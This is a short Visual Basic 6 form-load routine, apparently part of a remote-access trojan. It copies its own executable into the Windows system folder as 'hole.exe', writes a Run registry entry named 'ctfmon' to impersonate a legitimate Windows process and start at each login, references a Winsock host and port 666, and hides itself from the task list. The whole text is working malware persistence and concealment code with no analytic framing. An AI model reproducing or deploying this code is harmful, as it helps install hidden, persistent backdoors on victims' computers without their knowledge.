Private Sub Form_Load()
Dim ip As String, port As Integer
Dim dioxis As String
Dim win, sys, residencia

ip = "192.168.6.100"
port = 666
dioxis = App.Path

ip = wsk.RemoteHost
port = wsk.RemotePort

If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"

Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)

win = LCase(win)
sys = LCase(sys)

FileCopy dioxis, sys & "\hole"
Name sys & "\hole" As sys & "\hole.exe"

Set residencia = CreateObject("WScript.Shell")

residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "ctfmon", sys & "\hole.exe"



App.TaskVisible = False
End Sub